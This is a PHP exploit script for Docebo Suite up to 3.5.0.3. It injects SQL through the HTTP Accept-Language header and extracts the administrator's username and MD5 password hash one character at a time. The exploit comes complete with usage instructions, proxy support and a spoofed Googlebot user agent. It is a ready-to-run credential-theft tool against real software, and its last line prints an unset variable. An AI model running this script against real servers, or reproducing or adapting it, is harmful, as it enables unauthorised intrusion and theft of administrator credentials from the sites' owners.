docebo-sql.txt

`<?php  
print_r('  
-----------------------------------------------------------------------------  
Docebo Suite <= 3.5.0.3 (lib.regset.php/non-blind) SQL injection exploit  
by rgod  
bug found by EgiX  
working with Mysql >= 4.1  
PHP 5.X (needed by Docebo) regardless of php.ini settings  
no benchmark()  
quickly coded to perform credentials disclosure  
-----------------------------------------------------------------------------  
');  
  
if ($argc<3) {  
print_r('  
-----------------------------------------------------------------------------  
Usage: php '.$argv[0].' host path OPTIONS  
host: target server (ip/hostname)  
path: path to docebo  
Options:  
-p[port]: specify a port other than 80  
-P[ip:port]: specify a proxy  
Example:  
php '.$argv[0].' localhost /docebo/ -P1.1.1.1:80  
php '.$argv[0].' localhost /docebo/ -p81  
-----------------------------------------------------------------------------  
');  
die;  
}  
  
error_reporting(7);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$port=80;  
$proxy="";  
for ($i=3; $i<$argc; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
//docebo changes the date separator according to the header   
//es.: en -> /  
// it -> -  
//so this is not a blind one, you can ask true-false questions and see  
//the separator  
  
$j=1;$admin="";  
while (!strstr($admin,chr(0)))  
{  
for ($i=0; $i<=255; $i++)  
{  
$sql="en%' AND ASCII(SUBSTR((SELECT userid FROM core_user WHERE idst=1011) FROM $j FOR 1))=$i/*";  
echo "query -> ".$sql."\n\n";  
$packet ="GET ".$p."doceboCms/ HTTP/1.0\r\n";  
$packet.="User-Agent: Googlebot/2.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Accept: text/plain\r\n";  
$packet.="Accept-Language: $sql\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
//2008 is the actual year, change it if you need  
if (!eregi('-2008',$html)) {$admin.=chr($i);echo "admin -> ".$admin."[???]\r\n";sleep(2);break;}  
if ($i==255) {die("Exploit failed...");}  
}  
  
$j++;  
}  
  
$md5s[0]=0;//null  
$md5s=array_merge($md5s,range(48,57)); //numbers  
$md5s=array_merge($md5s,range(97,102));//a-f letters  
$j=1;$password="";  
while (!strstr($password,chr(0)))  
{  
for ($i=0; $i<=255; $i++)  
{  
if (in_array($i,$md5s))  
{  
$sql="en%' AND ASCII(SUBSTR((SELECT pass FROM core_user WHERE idst=1011) FROM $j FOR 1))=$i/*";  
$packet ="GET ".$p."doceboCms/ HTTP/1.0\r\n";  
$packet.="User-Agent: Googlebot/2.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Accept: text/plain\r\n";  
$packet.="Accept-Language: $sql\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
if (!eregi('-2008',$html)) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}  
}  
if ($i==255) {die("Exploit failed...");}  
}  
$j++;  
}  
  
echo "admin: ".$admin."\n";//remove slash when you login  
echo "md5 hash: ".$pass."\n";  
?>  
`